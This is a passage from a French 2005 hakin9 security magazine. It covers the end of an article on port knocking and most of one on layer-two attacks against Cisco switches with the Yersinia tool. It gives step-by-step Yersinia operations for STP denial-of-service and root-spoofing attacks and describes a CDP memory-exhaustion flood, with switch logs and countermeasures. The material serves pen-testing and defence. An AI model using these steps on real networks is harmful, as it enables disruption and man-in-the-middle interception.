commande à exécuter par knock 0.1
secondes après l'envoi du paquet-
déclencheur. Cette opération est très
utile lorsque vous vous connectez
toujours au même service, comme
SSH, et que vous ne voulez pas
vous occuper d'ouvrir le client SSH.
Vous pouvez également choisir de
stocker votre secret dans ce fchier,
même s'il est en plein texte. Pour
des raisons de protection, knock ne
se lancera pas tant que l'autorisation
de .knockcf n'est pas égale à 0600,
pour que les autres ne puissent
pas voir votre secret. Le Listing 12
présente un exemple de .knockcf.
Vous pouvez envoyer un pa-
quet-déclencheur manuellement,
en utilisant SendIP à la place de
knock. Vous devriez calculer votre
propre digest HMAC MD5 pour une
combinaison donnée d'utilisateur,
d'un port, d'un numéro aléatoire
et d'un secret. Le Listing 13 con-
tient le code Perl pour réaliser
tous ces points, à l'aide du module
Digest::HMAC_MD5 disponible de-
puis CPAN. Quand le script est ap-
pelé, il affche une charge utile qu'il
est possible d'utiliser avec SendIP
(voir le Listing 14). Le drapeau -d
spécife la charge de données et le
drapeau -ud – le port de destination
(port de Doorman).
Grâce à SendIP, il est possible
de générer n'importe quel paquet
et d'adapter les champs d'en-têtes
à vos besoins. Vous pouvez faire
en sorte que le paquet ait l'air d'être
arrivé de n'importe quelle adresse
IP et pas seulement de la vôtre.
Ici, on utilise -is 10.1.17.1, ce qui
correspond à l'adresse IP actuelle
du client mais n'importe quelle valeur
peut être acceptée. Par conséquent,
il est possible d'utiliser SendIP d'un
troisième ordinateur pour demander
à Doorman d'ouvrir un port à un
client différent.
Implémentations et
extensions
Le port knocking décrit une
méthode d'envoi des informations
d'authentifcation à travers des ports
fermés pour les événements distants
de déclenchement. Vu que ceci
couvre donc une large zone, il n'est
pas étonnant qu'il existe un grand
nombre d'implémentations de port
knocking.
En général, tout client du port
knocking et toute implémentation
du serveur partagent certaines
caractéristiques. Au fond, le client
et le serveur doivent être d'accord
sur la forme de l'authentifcation.
Figure 4. Matrice des caractéristiques pour les implémentations connues du port knocking
Port knocking
hakin9 Nº 6/2005 www.hakin9.org 21
Elle doit avoir le format d'une sé-
quence de port ou des données
du paquet ou les deux. Puisque
l'authentifcation validée peut dé-
clencher n'importe quel événement
sur le serveur du port knocking, on
défnit une carte entre ces événe-
ments et frappes.
Dans certaines implémentations,
toutes les frappes sont mappées soit
sur l'ouverture du port soit sur sa ferme-
ture, et dans d'autres implémentations,
les frappes peuvent être associées
aux commandes système arbitraire.
La Figure 4 présente une matrice des
caractéristiques pour les implémenta-
tions connues du port knocking (visitez
http://portknocking.org pour avoir une
liste complète).
Deux moyens puissants des-
tinés à combattre les attaques de
rejeu sont : simulation/réponse
(en anglais challenge-response)
et mots de passe dynamiques
(en anglais one-time passwords).
Le mécanisme de simulation/
réponse, où le serveur demande au
client d'effectuer quelques calculs
sur une entrée aléatoire, n'est pas
approprié pour le port knocking car
le client s'authentife de manière
passive. Les mots de passe dy-
namiques peuvent, toutefois, être
implémentés et sont supportés
par COK (Cryptographic One-time
Knocks) de David Worth.
De même que la stratégie anti-
rejeu de Doorman incorpore un
numéro aléatoire à utiliser une seule
fois dans la chaîne d'authentifcation,
COK lance aussi une fonction de
hachage cryptographique sur les
mots de passe précédents afn
de calculer le nouveau mot de
passe. Les attaques de rejeu sont
facilement détectées : un OTP
envoyé est détecté. COK supporte
également le knocking via DNS :
le client effectue une requête de
recherche au démon DNS du
serveur sur le OTP.domain.com où
OTP est un one-time password (mot
de passe dynamique). La recherche
DNS échoue bien évidemment mais
la requête est connectée et peut être
exécutée.
Pasmal de James Meehan est
doté de deux caractéristiques inté-
ressantes pour gérer les tentatives
d'intrusion. L'une d'entre elles est
un module de détection d'intru-
sions, qui empêcheront d'autres
connexions à partir d'une adresse
IP lorsque les tentatives d'analyses
de port ou de frappes échouées ré-
pétitives sont détectées. Une autre
caractéristique est un écran de
fumée (en anglais smoke screen).
Quand le client y a envoyé une
frappe d'authentifcation initiale, les
paquets de frappe restants sont
distribués dans d'autres paquets
confgurés par le client. Dans ce
schéma, le client et le serveur dé-
cident ensemble quels paquets du
fux font partie de la frappe. Pasmal
introduit également un frontal Web
pour une confguration.
Parmi toutes les implémentations,
SAdoor aborde de manière unique la
façon dont le client informe le serveur
quelle commande il devrait exécuter.
SAdoor chiffre la commande dans
un paquet de commandes. C'est le
dernier paquet de la séquence de
paquets d'authentifcation.
De nombreuses implémenta-
tions se servent de différents as-
pects de paquets pour le processus
d'authentifcation, y compris, d'une
en-tête et d'une charge de données
pour stocker cette information.
wknop implémente une couche
d'authentifcation supplémentaire,
basée sur l'empreinte digitale du
système d'exploitation. Grâce à
l'analyse de nombreuses valeurs
d'options TCP trouvées dans une
en-tête TCP, fwknop est capable
de faire correspondre un ensemble
d'options à un système d'exploita-
Comment obtenir une bonne frappe ?
Les implémentations abordent différemment la façon dont doit se dérouler l'authenti-
fcation de port knocking. Voici une liste des caractéristiques qui devraient faire partie
d'une frappe :
• Taille – une frappe devrait être aussi dense que possible. C'est particulièrement
important pour les frappes sous forme de séquence de paquet car moins de tenta-
tives de connexions signife moins d'erreurs potentielles de transmission et moins
de chance pour votre frappe d'être interceptée et découverte. La frappe pourrait
être mappée sur une portée de port aussi large que possible (p. ex. 32768) afn de
maximiser le contenu informatif d'un nombre donné de ports. En ce qui concerne les
frappes composées d'un seul paquet contenant des données, la limite pratique est
égale à une MTU moyenne (1500 octets). Ce nombre est plus élevé à la quantité
pratique d'informations qu'une séquence de ports est capable de coder.
• Chiffrage – la frappe, ou les données au sein de la frappe, doivent être chiffrées
afn de limiter les attaques destructives et ceux de rejeu. Dans cette dernière, le
secret utilisé dans la frappe doit être chiffré.
• Somme de contrôle – cela peut être une couche supplémentaire de validation pour
des frappes de plusieurs paquets. Une fois la séquence de port décodée et déchif-
frée, si une de valeurs est une somme de contrôle, il est alors possible de vérifer
le contenu de la frappe. La somme de contrôle est un niveau supplémentaire de
protection contre les fausses frappes.
• One-time knock (OTK) – le one-time knock (frappe dynamique) peut être faci-
lement implémenté. Si une frappe est balisée avec un index, le serveur devrait
garder seulement les traces des indexes de frappes reçus d'un client. Le client doit
incrémenter l'index pour chaque nouvelle frappe pour qu'elle soit valable.
• Moyens de transport – la frappe peut être soit une séquence de paquets, soit un
seul paquet contenant des jetons d'authentifcation dans la charge, soit les deux.
Les frappes multi-paquets nécessitent très peu de travail pour implémenter et
corrompre la différence entre les en-têtes et la charge de données (dans ce cas,
l'en-tête est une charge de données). Traditionnellement, si quelqu'un renife le
trafc pour chercher des mots de passe ou d'autres informations utiles, il ignore
probablement les paquets dépourvus d'un composant de données. D'un autre
côté, lorsqu'une frappe se trouve dans un seul paquet, le transfert peut être plus
fable et le chiffrage de données – plus souple.
hakin9 Nº 6/2005 www.hakin9.org
Dossier
22
tion spécifque. Par conséquent,
le système de port knocking peut
inclure le système d'exploitation
d'où le paquet a été envoyé sous
forme de fltre.
Applications
Il existe de nombreux moyens d'uti-
liser le port knocking. Dans certains
cas, le port knocking fournit des
caractéristiques concernant la sécu-
rité, introuvables dans d'autres sys-
tèmes. Une telle application consiste
à maintenir des serveurs near-line,
qui apparaissent hors ligne (aucun
port ouvert) : les connexions à ces
serveurs sont possibles via une
couche port knocking. Ces serveurs
peuvent être mis sur Internet ou dans
un sous-réseau d'un réseau local. Ils
peuvent alors servir de passerelles
aux données sensibles.
L'aspect probablement le plus
pratique du port knocking consiste
à étendre les possibilités de correc-
tifs sans infuencer directement la
sécurité. En protégeant un service de
premier plan, comme SSH, l'adminis-
trateur, qui a plus de responsabilités
que de temps, peut passer moins de
temps à vérifer le serveur.
En plus d'augmenter la sé-
curité, le port knocking peut être
utilisé dans malware pour fournir
des portes dérobées impossibles
à détecter (voir l'Encadré Sur Inter-
net). L'analyse des ports locaux ne
pourra pas détecter une porte dé-
robée ainsi protégée ; l'utilisation ré-
pandue des applications de ce type
n'est qu'une question de temps.
Détection et attaque
Il est impossible de cacher
complètement un système protégé
par un port knocking. Un paquet
doit voyager entre les systèmes,
soit comme un élément d'une étape
d'authentifcation soit comme une
connexion légitime. Les renifeurs
peuvent donc identifer et détecter
votre système en :
• détectant un trafc sortant,
• détectant des frappes entrantes
• détectant des connexions éta-
blies.
Vu le grand nombre de méthodes
de port knocking et la nouveauté
relative de cette méthode, tous ceux
qui souhaitent identifer, intercep-
ter et exploiter un serveur de port
knocking devront être persévérants
dans l'interception et le décodage
du trafc. La fenêtre de connexion
après la validation d'une frappe est
très étroite (ce qui dépend de l'implé-
mentation). À titre d'exemple, Door-
man resserre immédiatement les
règles du pare-feu après avoir reçu
le premier paquet SYN du client.
Par conséquent, un intrus, qui prend
pour cible un système protégé par un
port knocking, devrait plutôt utiliser
des attaques standard d'exploration,
telles que vol de session et ensuite,
il devrait tenter de trouver un pas-
sage dans un système de port knoc-
king bien implémenté.
Puisque le port knocking est une
couche supplémentaire de sécurité
passive, le serveur n'est pas exposé
aux dangers si on submerge le
démon du port knocking avec une
attaque DoS. Si la couche de port
knocking est détruite, le serveur
reste inaccessible au trafc entrant
jusqu'à ce que la couche soit remise.
C'est une caractéristique souhaitée
pour la couche de sécurité. Il ne faut
pas non plus oublier que l'objectif
de port knocking consiste à cacher
et à protéger les services réseau
qui devraient demander leur propre
authentifcation. On peut contester
si un système de port knocking
protégeant un serveur SSH ne
doit pas nécessiter une étape de
simulation/réponse parce que le
serveur SSH l'implémente. Par
conséquent, si le service SSH est
mis à jour régulièrement, la couche
supplémentaire de port knocking
fournit davantage de protection et
élimine des fls provenant des intrus
les plus fermes.
Conclusions
Le port knocking est encore
une méthode relativement nouvelle
dont les premiers adeptes peuvent
protéger d'autant leurs systèmes.
Un grand nombre d'implémentations
existe déjà et beaucoup d'entre
elles sont prêtes à être installées
et confgurées.
Enfn, l'ajout de port knocking
aux périphériques matériels, comme
routers SOHO qui supportent déjà
la redirection de port, le déclenche-
ment de port et les périphériques
à faible surface de couverture, résul-
tera en une adaptation plus large de
ce mécanisme. Comme il a été déjà
montré, il est très facile d'implémen-
ter le port knocking et vous pouvez
augmenter considérablement la
sécurité de votre système avec un
effort minime. Il est temps de tester
le port knocking et de garder vos
ports ouverts – pour vous. l
À propos de l'auteur
Martin Krzywinski (http://mkweb.bcgsc.ca) est un chercheur scientifque en bioinfor-
matique. Il travaille avec les cartes d'empreintes digitales de grands génomes et adore
écrire des scripts Perl de toute taille. Il est expérimenté en administration système *NIX
et en automatisation de système. Il est originaire de Varsovie mais actuellement, il ha-
bite à Vancouver, au Canada où il fait du kayak et boit de grandes quantités de café.
Sur Internet
• http://www.portknocking.org – site de l'auteur concernant le port knocking,
• http://doorman.sourceforge.net – implémentation du port knocking de Doorman,
• http://www.symantec.com/press/2004/n040920b.html – section de tendances
actuelles de cet article décrit les portes dérobées avec le port knocking,
• http://www.networksorcery.com/enp/topic/ipsuite.htm – en-têtes pour les protoco-
les IP.
www.hakin9.org hakin9 Nº 6/2005 24
Focus
L
a couche de liaison de données est l'élé-
ment le moins sécurisé que l'on oublie le
plus souvent dans les réseaux. Il arrive
souvent que les administrateurs connectent
tout simplement les commutateurs, les confgu-
rent pour le travail et ne s'en préoccupent plus.
Le pen-testing révèle souvent des commuta-
teurs qui se servent d'une version vulnérable
de IOS et ne sont pas toujours performants.
On pense souvent aussi que l'implémentation
de VLAN dans un réseau peut empêcher des
intrus malicieux. L'architecture VLAN peut tou-
tefois constituer une faille. Par conséquent, des
attaques de couches OSI supérieures, telles
que renifage de mots de passe, Man-in-the-
Middle sont possibles via les VLAN.
Une bonne nouvelle pour la couche deux
est que les paquets de la couche de liaison
de données ne peuvent pas passer via les ré-
seaux IP (par exemple, Internet). Cependant,
toutes les attaques sont limitées aux réseaux
internes. Mais les statistiques démontrent
que les attaques internes peuvent être aussi
dangereuses que les externes. Il ne faut pas
non plus oublier que si un intrus de l'extérieur
traverse votre pare-feu et arrive à la Zone dé-
militarisée (DMZ), ces attaques lui permettent
de sortir de cette zone et de prendre tout vo-
tre réseau pour cible. Regardez quelles sont
les vulnérabilités répandues de la couche de
liaison de données, comment elles peuvent
être exploitées par un intrus et ce que vous
pouvez faire pour protéger votre équipement.
Tous les exemples se reportent à l'équipe-
ment Cisco mais certains d'entre eux peuvent
aussi bien concerner l'équipement d'autres
fabricants.
Attaques de la couche
deux du modèle OSI
Alfredo Andrés, David Barroso
Degré de diffculté
La couche deux du modèle OSI est l'un des liens les plus faibles
en ce qui concerne la protection du réseau. C'est aussi le lien le
plus ignoré car il n'y a pas beaucoup de révélations publiques des
attaques de la couche deux. Une attaque réussie de la couche deux
peut être toutefois aussi dangereuse que toute autre attaque.
Cet article explique...
• les spécifcations de deux protocoles de la cou-
che OSI : STP, CDP, DTP, IEEE 802.1Q, VTP,
• comment effecteur des attaques contre ces
protocoles,
• comment protéger votre système contre ces
attaques,
• comment employer Yersinia, un outil très utile
pour les administrateurs réseau et les pen-tes-
teurs.
Ce qu'il faut savoir...
• les bases de la couche deux du modèle OSI,
• la connaissance de la technologie Cisco.
Attaques de la couche deux du modèle OSI
hakin9 Nº 6/2005 www.hakin9.org 25
Les concepteurs ont obtenu la
plupart des données via la recherche
et le développement de l'outil Yersinia.
Il était parfois impossible de trouver
une référence ou un code accessible
au grand public ; par conséquent,
certaines conclusions se basent sur
l'analyse du comportement et non sur
les standards publiés.
STP (Spanning Tree
Protocol)
Le but de STP consiste à éviter des
boucles de réseau lors de l'intercon-
nexion des segments de réseau.
Un seul chemin peut exister pour
passer d'un périphérique à un autre.
Chaque paquet STP s'appelle BPDU
(Bridge Protocol Data Unit) et il est
possible de l'identifer en observant
son format : un paquet IEEE 802.3
avec une en-tête 802.2 et avec une
destination MAC 01:80:C2:00:00:00
(voir la Figure 1).
Il existe deux types de BPDU :
Confguration et Topology Change
Notifcation (TCN). Le premier d'en-
tre eux est envoyé périodiquement
et présente la confguration du ré-
seau alors que le second est envoyé
à chaque fois que le changement
du réseau est détecté (un port est
activé/désactivé). Vous trouverez
plus d'informations sur STP dans
IEEE Standard 802.1D (reportez
vous à l'Encadré Sur Internet).
Attaques
La faiblesse principale de STP con-
siste en un manque d'authentifcation
et de contrôle. Chaque périphérique,
chaque personne ou chaque intrus
peut envoyer un BPDU et participer
au protocole.
Afn de comprendre les attaques,
il est nécessaire de connaître le
format BPDU Confguration (voir la
Figure 2) :
• PID (2 octets) : Protocole, tou-
jours zéro,
• Version (1 octet) : version STP,
peut être zéro (STP), un (RSTP)
ou trois (MSTP),
• Message type (1 octet) : type
BPDU : confguration (0x00) ou
TCN (0x80),
Sept couches du modéle OSI
En 1977, on a proposé un modèle Open Systems Interconnection (OSI) ; son ob-
jectif consistait à établir un standard d'interopérabilité des produits de différents
fabricants. Ce modèle défnit plusieurs couches liées au transfert de données, à
partir de la couche la plus basse (physique) à la couche la plus haute (application).
Elles dépendent fortement l'une de l'autre. Les en-têtes sont habituellement ajou-
tées lors d'un passage d'une couche inférieure à une couche supérieure. Voici les
sept couches :
• Couche 1 – couche physique : gère la communication (et contrôle) via le canal de
réseau,
• Couche 2 – couche de liaison de données : établit des méthodes pour fournir des
blocs de données,
• Couche 3 – couche réseau : chargée de routage de paquets de données.
• Couche 4 – couche transport : chargée d'une bonne transmission de données
(dépourvue d'erreurs),
• Couche 5 – couche session : permet de contrôler le dialogue entre les applica-
tions,
• Couche 6 – couche présentation : aide à établir un format de données entre les
applications, ce qui permet d'organiser la présentation,
• Couche 7 – couche application : établit les méthodes permettant aux applications
d'accéder au modèle OSI (le réseau).
Yersinia
Afn d'effectuer des attaques de la couche de liaison de données, vous allez vous
servir d'un outil appelé Yersinia, écrit par les auteurs de cet article. Yersinia est
portable, écrit en C (à l'aide de libpcap et libnet), multi-fls (supporte des utilisateurs
multiples et des attaques concurrentes multiples). Il est possible de l'utiliser pour
analyser, éditer et observer des paquets réseau, voire enregistrer le trafc au format
pcap.
La version la plus récente de Yersinia (0.5.5.2) supporte les protocoles suivants :
• Spanning Tree Protocol (STP),
• Cisco Discovery Protocol (CDP),
• Dynamic Trunking Protocol (DTP),
• Dynamic Host Confguration Protocol (DHCP),
• Hot Standby Router Protocol (HSRP),
• IEEE 802.1Q,
• Inter-Switch Link Protocol (ISL),
• VLAN Trunking Protocol (VTP).
Yersinia peut opérer dans un de trois modes principaux :
• la ligne de commandes : peut être utilisée pour effectuer des attaques ad-hoc ; ce
mode a été implémenté pour aider les pen-testeurs à utiliser Yersinia en scripts,
• le démon réseau : permet d'utiliser Yersinia depuis un emplacement distant ; CLI
ressemble beaucoup à celui utilisé par Cisco,
• le GUI : (écrit en ncurses).
Toutes les attaques décrites sont exécutées en mode graphique (GUI), bien qu'elles
puissent être aussi lancées en un ou deux autres modes. Afn de trouver toutes les
caractéristiques de l'outil, appuyez sur [h] lorsque Yersinia fonctionne en mode graphi-
que (yersinia -I). Remarque : le mode requiert un grand nombre des lignes et des
colonnes pour fonctionner ; si l'exécution de ce mode échoue, essayez de maximiser
votre fenêtre terminale.
Yersinia incorpore d'autres attaques que celles effectuées sur la couche deux (par
exemple, HSRP, DHCP). Vous allez toutefois vous concentrer seulement sur les capa-
cités liées à la couche deux. Le nom de l'outil provient du nom d'une bactérie qui avait
provoqué la Peste Noire en Europe au Moyen Âge : Yersinia pestis.
hakin9 Nº 6/2005 www.hakin9.org
Focus
26
• Flags (1 octet) : plusieurs para-
mètres de port (utile pour RSTP)
et un bit pour notifer des change-
ments en topologie,
• Root ID (8 octets) : ID de péri-
phérique root,
• Root path cost (4 octets) : coût du
chemin au périphérique root,
• Bridge ID (8 octets) : ID de l'ex-
péditeur de BPDU,
• Port ID (2 octets) : numéro de
port (IEEE ou Cisco STP BPDU)
d'où le BPDU est envoyé,
• Message age (2 octets) : temps
écoulé depuis que root a envoyé
le message de confguration sur
lequel se base le message cou-
rant,
• Maximum age (2 octets) : mo-
ment où le message de confgu-
ration courante doit être détecté,
• Hello time (2 octets) : durée entre
l'envoi de deux confgurations de
BPDU,
• Forward delay (2 octets) : durée
d'attente de pont avant de passer
à un nouvel état après le change-
ment de topologie.
STP peut être décrit brièvement
ainsi : l'élection de périphérique
root et le calcul de chemin entre
tous les périphériques participants
à l'arbre de découpage. Au début,
tous les périphériques participent
à l'élection de root. Le périphérique
choisi est doté d'un ID le moins
élevé. Une fois le root élu, tous les
chemins sont recalculés à chaque
fois que le réseau change. Un nou-
veau root est élu si le root courant
disparaît ou si un nouveau périphé-
rique, qui a un ID moins élevé, se
connecte.
Faites attention
Jetez un coup d'œil sur les trois
attaques possibles sur STP. Les
deux premières attaques sont les
attaques Denial of Service (DoS) ;
elles forcent tous les périphériques
participants au STP à recalculer
leurs chemins. Ceci provoque l'ins-
tabilité du réseau car tous les com-
mutateurs sont forcés à consommer
le temps CPU et la mémoire en re-
calculant les chemins. Ces attaques
sont également capables de faire
apparaître des boucles de réseau.
Le pire scénario est que le réseau
entier soit détruit ; les duplicatas des
paquets se trouveront partout, ce qui
encombrera le réseau et provoquera
un dysfonctionnement.
Ces attaques sont plutôt simples.
Elles se basent sur l'envoi des mil-
liers de BPDU (lors de la première
attaque : Confguration BPDU et
lors de la deuxième : TCN) dont les
adresses source MAC (et autres
champs dans un BPDU Confgu-
ration, comme Bridge ID) sont gé-
nérées de manière aléatoire. Ceci
Paquets de décodage
Bien qu'une des utilisations de Yersinia
consiste à décoder et à observer les
paquets du protocole de la couche
deux, il est possible d'utiliser d'autres
analyseurs de protocoles comme
tcpdump ou Ethereal à ces fns. Si,
par exemple, vous voulez sniffer des
paquets STP, vous pouvez exécuter
ethereal avec l'option suivante :
# ethereal -f stp
Figure 1. Structure d'un paquet BPDU
Figure 2. Structure de BPDU Confguration
Listing 3. Résultats de l'attaque Claiming Root Role
01:58:48: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/8
01:58:48: supersedes 32769-000e.84d5.2280
01:58:48: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/8, cost 19
Listing 2. Résultats d'une attaque DoS envoyant un TCN BPDU
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
Listing 1. Résultats d'une attaque DoS envoyant un BPDU
Confguration
01:20:26: STP: VLAN0001 heard root 32768-d1bf.6d60.097b on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-9ac6.0f72.7118 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-85a3.3662.43dc on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-3d84.bc1c.918e on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b2e2.1a12.dbb4 on Fa0/8
Attaques de la couche deux du modèle OSI
hakin9 Nº 6/2005 www.hakin9.org 27
simule la connexion des milliers de
nouveaux périphériques qui souhai-
tent participer au protocole. Rien
d'étonnant que cette démarche pro-
voque un chaos complet.
Les deux attaques peuvent être
effectuées au moyen de Yersinia et
s'appellent : sending conf BPDUs et
sending tcn BPDUs (appuyez sur [x]
pour sélectionner l'attaque en mode
graphique). Les Listings 1 et 2 pré-
sentent la réaction d'un commutateur
aux attaques.
La troisième attaque consiste
à usurper l'identité d'un root STP.
Dans un premier temps, on capture
un BPDU, contenant l'identifant du
root. Ensuite, le système attaquant
est confguré afn de se comporter
comme tout autre périphérique du
réseau qui souhaite participer au
STP et qui est doté d'un ID moins
élevé que le périphérique courant.
L'identifant root est décrémenté de
1 pour ressembler à un identifant
de root réel et pour que l'administra-
teur réseau ne soit pas capable de
remarquer le changement en y jetant
un simple coup d'œil.
L'instabilité du réseau est la
conséquence principale de l'at-
taque de ce type. Il ne faut pas
oublier que tous les membres du
réseau envoient des notifcations
(TCN) au périphérique root lors-
qu'ils détectent un changement.
À ce moment là, le périphérique root
envoie un BPDU Confguration con-
tenant un ensemble de drapeaux
à 1 (champ Flags) afn d'informer
tous les membres qu'il faut recalcu-
ler leurs chemins. Si l'attaque réus-
sit, le nouveau faux périphérique
root abandonne les TCN envoyés
par les commutateurs, donc aucun
commutateur ne recalcule son che-
min. En conséquence, la structure
du réseau est détruite.
Afn d'effectuer l'attaque en Yer-
sinia, il faut d'abord appuyer sur
[d] pour remplir le BPDU avec des
valeurs par défaut et ensuite, lancer
l'attaque appelée Claiming Root
Role (appuyez sur [x] et sélectionnez
ensuite l'attaque quatre). L'attaque
comporte deux étapes. Dans un
premier temps, vous sniffez la conf-
guration BPDU pour connaître l'iden-
tifant root, ensuite, vous envoyez
une nouvelle confguration créée par
BPDU toutes les hello time secon-
des. Le Listing 3 présente la réaction
de commutateurs.
L'ancien identifant root était
32769-000e.84d5.2280, alors que
le nouveau identifant est maintenant
32769-000e.84d4.2280. Si vous
analysez l'identifant de root, vous re-
marquerez que le quinzième chiffre a
été changé de cinq en quatre. L'iden-
tifant du périphérique virtuel est donc
moins élevé et il est en conséquence
élu identifant de root STP.
Il existe davantage de possibi-
lités d'attaques basées sur STP ;
certaines d'entre elles sont implé-
mentées en Yersinia. L'une d'entre
elles s'appelle Causing Eternal Root
Elections ; elle continue d'envoyer
des paquets contenant des identi-
fants toujours moins élevés, ce qui
provoque une élection infnie de root
et un chaos complet du réseau. Une
autre attaque s'appelle Claiming
Root Role with MiTM ; c'est une
attaque du type Man-in-the-Middle.
Il est également possible de tester
Claiming Other Role, ce qui signife :
essayer de se comporter comme
un commutateur ; c'est une attaque
proof-of-concept (preuve que c'est
possible) qui ne comporte aucune
conséquence négative.
Contre-mesures
Afn d'éviter des attaques STP sur
les périphériques Cisco, un adminis-
trateur peut :
• désactiver le STP lorsqu'il n'est
pas nécessaire,
Figure 3. Structure d'un paquet CDP
Figure 4. Champs dans un paquet CDP
Tableau 1. Exemples de nuples TLV
Contenu TLV Type Longueur Valeur
0001 0008 7a61 7065 Device ID (0x0001) 8 (0x0008) (deux octets
pour le type, deux octets
pour la longueur et quatre
octets pour la valeur)
zape (0x7a 0x61 0x70 0x65)
000b 0005 01 Duplex type (0x000b) 5 (0x0005) (deux octets
pour le type, deux octets
pour la longueur et un octet
pour la valeur)
0x01 (Full Duplex)
hakin9 Nº 6/2005 www.hakin9.org
Focus
28
• utiliser Spanning Tree Portfast
BPDU Guard Enhancement et
Spanning Tree Protocol Root
Guard Enhancement (reportez-
vous à l'Encadré Sur Internet).
CDP (Cisco Discovery
Protocol)
CDP est un protocole propriétaire
de Cisco, permettant aux différents
périphériques de réseau Cisco de
communiquer entre eux. D'autres
fabricants peuvent également se
servir d'un CDP s'ils acquièrent la
technologie nécessaire (par exemple
Hewlett-Packard).
La façon la plus simple d'identifer
un paquet CDP consiste à regarder
les caractéristiques suivantes : un
paquet IEEE 802.3 avec une en-tête
802.2 SNAP et une destination multi-
cast MAC 01:00:0C:CC:CC:CC (voir
la Figure 3). Un paquet CDP contient
des informations intéressantes sur
les propriétés du périphérique en-
voyant le paquet. À titre d'exemple,
cette information peut contenir :
• le nom du périphérique,
• le modèle,
• la version IOS,
• l'adresse IP (peut en contenir
plusieurs),
• le domaine VTP,
• les capacités (commutateur, rou-
ter, pont, etc).
Ces données, envoyées pério-
diquement par tout périphérique
Cisco, peuvent proposer des infor-
mations précieuses pour les atta-
ques ultérieures. Par défaut, CDP
est activé sur les périphériques
Cisco et envoie cette information
toutes les 180 secondes (trois mi-
nutes).
Attaques
Aucune authentifcation n'est deman-
dée lors de l'envoi ou de la réception
des paquets CDP. Les données de
paquet sont envoyées en texte clair,
ce qui rend les attaques plus faciles.
De plus, le format CDP est expliqué
sur le site Web de Cisco (reportez
vous à l'Encadré Sur Internet).
Un paquet CDP se compose des
champs suivants (voir la Figure 4) :
Figure 5. TLV pour un exemple de
paquet vu en Yersinia
Listing 4. Résultats d'une attaque CDP DoS
# show cdp neighbours
Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge
S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone
Device ID Local Intrfce Holdtme Capability Platform Port ID
2EEEWWW Gig 0/1 253 yersinia Eth 0
ZCCCUU9 Gig 0/1 250 T S I r yersinia Eth 0
J222FFX Gig 0/1 249 R T yersinia Eth 0
WAAASS6 Gig 0/1 240 R B I r yersinia Eth 0
2IIWWWE Gig 0/1 249 T B H I yersinia Eth 0
K333FFX Gig 0/1 234 R T yersinia Eth 0
TBBBOO7 Gig 0/1 252 B H r yersinia Eth 0
3KKYKYY Gig 0/1 250 R B H yersinia Eth 0
TBBBPP7 Gig 0/1 252 S H I r yersinia Eth 0
Listing 5. Résultats d'une attaque CDP DoS – journal de commutateur
00:06:08: %SYS-2-MALLOCFAIL: Memory allocation of 224 bytes failed from 0x800118D0, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
-Process= "CDP Protocol", ipl= 0, pid= 26
-Traceback= 801DFC30 801E1DD8 800118D8 80011218 801D932C 801D9318
00:06:08: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:09: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:10: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:11: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:12: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:13: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:14: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:15: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:16: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:17: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:18: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:19: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:20: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:21: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:22: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:23: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:38: %SYS-2-MALLOCFAIL: Memory allocation of 140 bytes failed from 0x801E28BC, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
Attaques de la couche deux du modèle OSI
hakin9 Nº 6/2005 www.hakin9.org 29
• Version (1 octet) : indique la
version CDP, en général, une ou
deux,
• TTL (1 octet) – Time To Live :
durée de vie d'un paquet CDP,
• Checksum (2 octets) : vérife quel
paquet est correct,
• TLV (longueur variable) – séries
Type, Length, Value. Ce champ
contient les données courantes,
il est représenté par une liste de
tuples TLV, chaque tuple doté du
format suivant : Type (2 bytes),
type de données (par exemple
Device ID, Address, Port ID),
Length (2 octets), longueur TLV
et Value (longueur variable), la
valeur courante (voir la Table 1
pour les exemples de nuples TLV
et la Figure 5 pour une capture
d'écran de Yersinia présentant
les TLV pour un exemple de pa-
quet).
Si vous connaissez le format, vous
pouvez prendre le rôle d'un péri-
phérique de réseau en envoyant
un paquet créé par CDP. Les an-
ciennes versions IOS de Cisco ont
des vulnérabilités, découvertes par
FX de Phenoelit (reportez vous
à l'Encadré Sur Internet). Si beau-
coup de paquets CDP contenant
des identifants différents sont en-
voyés (en essayant de se comporter
comme des périphériques de réseau
différents), la mémoire est saturée
dans le périphérique. Le périphéri-
que échoue alors et doit être relancé
pour fonctionner correctement. Une
telle attaque peut provoquer une dé-
connexion d'un segment du réseau
ou, si un routeur n'est pas pris pour
cible, l'accès à Internet est impossi-
ble jusqu'à ce que le périphérique
soit relancé.
Faites attention
Si vous êtes connectés à un ré-
seau, contenant des périphériques
comprenant CDP, l'affchage gra-
phique montrera rapidement les
modes CDP de ces périphériques.
La première attaque liée à CDP
se base sur la vulnérabilité sus-
